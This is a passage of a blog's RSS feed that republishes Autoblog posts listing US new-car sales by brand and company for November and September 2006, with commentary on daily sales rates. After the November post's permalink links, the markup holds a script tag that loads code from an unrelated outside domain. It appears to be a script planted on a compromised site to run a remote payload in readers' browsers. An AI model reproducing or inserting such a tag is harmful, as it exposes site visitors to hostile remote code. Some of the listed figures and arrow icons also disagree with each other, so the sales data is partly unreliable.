2006" />3.0% at 171,003 (11/05: 166,087)<br />Chrysler <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />5.0% at 52,400 (11/05: 49,917)<br />Dodge <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-5.0% at 76,371 (11/05: 80,126)<br />Ford <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-12.2% at 147,791 (11/05: 168,386)<br />GMC <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />30.1% at 37,440 (11/05: 28,775)<br />Honda <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-3.0% at 89,246 (11/05: 91,978)<br />HUMMER <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-3.3% at 5,795 (11/05: 5,991)<br />Hyundai <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-14.9% at 28,417 (11/05: 33,383)<br />Infiniti <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />0.2% at 10,382 (11/05: 10,363)<br />Isuzu <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-17.4% at 1,138 (11/05: 1,378)<br />Jaguar <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-35.2 at 1,256 (11/05: 1,937)<br />Jeep <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />20% at 35,785 (11/05: 29,855)<br />Kia <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />10.5% at 22,203 (11/05: 20,091)<br />Land Rover<img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" /> -7.6% at 4,229 (11/05: 4,579)<br />Lexus <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />4.2% at 26,719 (11/05: 25,649)<br />Lincoln <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />11.8% at 9,410 (11/05: 8,418)<br />Mazda <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />16.7% at 20,792 (11/05: 17,817)<br />Mercedes <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />20.8% at 22,079 (11/05: 18,284)<br />Mercury <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />0.3% at 10,344 (11/05: 10,315)<br />MINI <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />3.7% at 3,287 (11/05: 3,171)<br />Mitsubishi <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />4.0% at 9,256 (11/05: 8,902)<br />Nissan <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-1.8% at 65,633 (11/05: 66,849)<br />Pontiac <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-17.5% at 26,154 (11/05: 31,687)<br />Porsche <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-2.0% at 2,611 (11/05: 2,675)<br />Saab <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />19.4% at 2,497 (11/05: 2,091)<br />Saturn <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />23.8% at 18,190 (11/05: 14,689)<br />Subaru <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />9.0% at 15,800 (11/05: 14,521)<br />Suzuki <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />12% at 6,395 (11/05: 5,707)<br />Toyota <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />18.0% at 169,976 (11/05: 144,016)<br />Volkswagen <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-5.3% at 17,082 (11/05: 18,046)<br />Volvo <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />14.3% at 9,229 (11/05: 8,076)</p>
<p><strong>COMPANIES</strong><br />BMW Group <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-3.6% at 25,889 (11/05: 26,844)<br />Chrysler Group <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />3.0% at 164,556 (11/05: 159,898)<br />Ford Motor Co <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-9.6% at 182,259 (11/05: 201,711)<br />General Motors <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />5.8% at 297,556 (11/05: 281,288)<br />Honda America <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />0.6% at 106,446 (11/05: 105,860)<br />Nissan North America <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-1.6% at 76,015 (11/05: 77,212)<br />Toyota Motor Co. <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />15.9% at 196,695 (11/05: 169,665)</p>
<p><strong>Related posts:</strong></p>
<ul>
<li><a href="http://www.autoblog.com/2006/11/02/by-the-numbers-october-2006/">By The Numbers: October 2006</a></li>
<li><a href="http://www.autoblog.com/2006/10/03/by-the-numbers-september-2006/">By The Numbers: September 2006</a></li>
<li><a href="http://www.autoblog.com/2006/09/01/by-the-numbers-august-2006/">By The Numbers: August 2006</a></li>
<li><a href="http://www.autoblog.com/2006/08/01/by-the-numbers-july-2006/">By The Numbers: July 2006</a></li>
</ul>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2006/12/02/by-the-numbers-november-2006/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/711431/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2006/12/02/by-the-numbers-november-2006/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/&amp;title=By+The+Numbers%3A+November+2006" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+The+Numbers%3A+November+2006+-+http://tinyurl.com/pfqa6m+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/&amp;t=By+The+Numbers%3A+November+2006" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/&amp;title=By+The+Numbers%3A+November+2006&amp;summary=Filed%20under%3A%20Earnings%2FFinancials%2C%20By%20the%20NumbersSorry%20for%20the%20delay%20in%20getting%20to%20the%20numbers%20this%20month%2C%20but%20we%20spent%20all%20day%20Friday%20travelling%20back%20from%20the%20LA%20Auto%20Show%20when%20each%20automaker%20was%20releasing%20its%20results%20for%20November.%20The%20big%20news%20over%20which%20the%20mainstream%20media%20seems%20to%20be%20laboring%20is&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/&amp;title=By+The+Numbers%3A+November+2006" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/&amp;title=By+The+Numbers%3A+November+2006" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By The Numbers: September 2006 (The REAL numbers)</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:01:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-september-2006-the-real-numbers/</guid>
		<description><![CDATA[Filed under: Earnings/Financials, By the Numbers
Toyota up big, Ford up a little while GM, Chrysler and Honda slip
Pardon the tardiness of this report, but most manufacturers decided to present their September sales figures in a misleading way by comparing the raw number of vehicles sold last month to those sold in September 2005. We prefer [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><strong>Toyota up big, Ford up a little while GM, Chrysler and Honda slip</p>
<p></strong><img vspace="4" hspace="4" border="0" align="right" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/99b9b_hill_car1a.png"  alt="99b9b hill car1a By The Numbers: September 2006 (The REAL numbers)"  title="By The Numbers: September 2006 (The REAL numbers)" />Pardon the tardiness of this report, but most manufacturers decided to present their September sales figures in a misleading way by comparing the raw number of vehicles sold last month to those sold in September 2005. We prefer to compare the Daily Sales Rate, obtained by dividing the number of vehicles sold in a month by the number of selling days in that month. Since last month had 26 selling days and September of 2005 had 25, most automakers decided to mitigate their losses or pad their gains by taking advantage of that extra selling day in their comparisons. So it took us a little longer to go through and correct the data that was misleading, and indeed some positive performances fell into the red once corrected. Credit goes to General Motors, Toyota and a few others for not giving us more work to do and providing the Daily Sales Rate to begin with. So forget about the numbers you see plastered all over the internet and the news, these are the real numbers. So lets begin&#8230;</p>
<p>Toyota is officially on a tear. Its sales in the month of September rose 20.2% versus the same time last year. The Toyota division itself increased sales 21.3% last month to 197,250 units, firmly placing it ahead of Chevrolet for the month and not far behind the Ford brand. </p>
<p>Speaking of Ford, the Blue Oval has some good news finall thanks to a September that saw sales for the company rise a modest .66%. The Focus and Mustang had big gains and the Fusion triplets continue to sell well. What helped the most, however, was surprisingly strong performances from the Explorer, Expedition and F-Series, all of which were up last month. Aren&#8217;t these things supposed to be losing popularity?</p>
<p>General Motors and the Chrysler Group both took modest dips last month of 6.8% and 7.5%, respectively. However, it was Honda falling off 7.76% that was the big surprise. Apparently, the new Civic&#8217;s sheen is beginning to wear off and the Accord, as great a mid-size family sedan as it is, is beginning to look staid next to the new Toyota Camry, Ford Fusion and Hyundai Sonata. <strong></p>
<p>Biggest Winner</strong><br />Saab <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />48.8% at 3,069 (9/05: 1,983)<br /><strong>Commendable Month<br /></strong>Toyota <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />21.28% at 197,250 (9/05: 156,381)<br /><strong><br /></strong><strong>Biggest Loser</strong><br />Jaguar <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-47.8% at 1,158 (9/05: 2,135)<br /><strong>Scary Month</strong><br />Dodge <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-20.8% at 79,784 (9/05: 96,890)</p>
<p><strong>BRANDS</strong><br />Acura <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-5.64% at 16,323 (9/05: 16,634)<br />Audi <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />2% at 8,004 (9/05: 7,854)<br />BMW <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-11.31% at 20,339 (9/05: 22,052)<br />Buick <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-11.1% at 19,463 (9/05: 21,050)<br />Cadillac <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />17.8% at 20,217 (9/05: 16,507)<br />Chevrolet <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-10.6% at 190,825 (9/05: 205,238)<br />Chrysler <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />0.0% at 47,211 (9/05: 45,546)<br />Dodge <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-20.8% at 79,784 (9/05: 96,890)<br />Ford <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />3.26% at 204,070 (9/05: 190,012)<br />GMC <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />1.1% at 39,141 (9/05: 37,233)<br />Honda <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-8.1% at 99,903 (9/05: 104,529)<br />HUMMER <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />11.6% at 6,739 (9/05: 5,806)<br />Hyundai <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-16% at 33,384 (9/05: 38,214)<br />Infiniti <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-9.8% at 10,378 (9/05: 11,062)<br />Isuzu <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />16.6% at 1,397 (9/05: 1,152)<br />Jaguar <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-47.8% at 1,158 (9/05: 2,135)<br />Jeep <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />21.62% at 41,893 (9/05: 33,120)<br />Land Rover <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />2.61% at 3,469 (9/05: 3,425)<br />Lexus <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />12.1% at 25,700 (9/05: 22,036)<br />Lincoln <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-26.91% at 7,362 (9/05: 9,686)<br />Mazda <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />2.19% at 20,261 (9/05: 19,918)<br />Mercedes <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />8.86% at 19,873 (9/05: 17,552)<br />Mercury <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-5.77% at 13,117 (9/05: 13,385)<br />MINI <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-5.84% at 2,964 (9/05: 3,027)<br />Mitsubishi <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />9.24% at 10,287 (9/05: 9,054)<br />Nissan <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-9.1% at 77,962 (9/05: 82,478)<br />Pontiac <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-13.6% at 37,376 (9/05: 41,597)<br />Porsche <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-.61% at 2,339 (9/05: 2,263)<br />Saab <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />48.8% at 3,069 (9/05: 1,983)<br />Saturn <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />4.4% at 20,153 (9/05: 18,569)<br />Subaru <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-3.67% at 16,128 (9/05: 16,100)<br />Suzuki <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />7.0% at 7,940 (9/05: 7,131)<br />Toyota <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   up arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___up_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />21.28% at 197,250 (9/05: 156,381)<br />Volkswagen <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-10.79% at 20,082 (9/05: 21,646)<br />Volvo <img vspace="4" hspace="4" border="0" align="absmiddle" alt="15768   down arrow By The Numbers: September 2006 (The REAL numbers)" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/15768___down_arrow.jpg" title="By The Numbers: September 2006 (The REAL numbers)" />-2.24% at 9,672 (9/05: 9,514)</p>
<p>TBA: Kia</p>
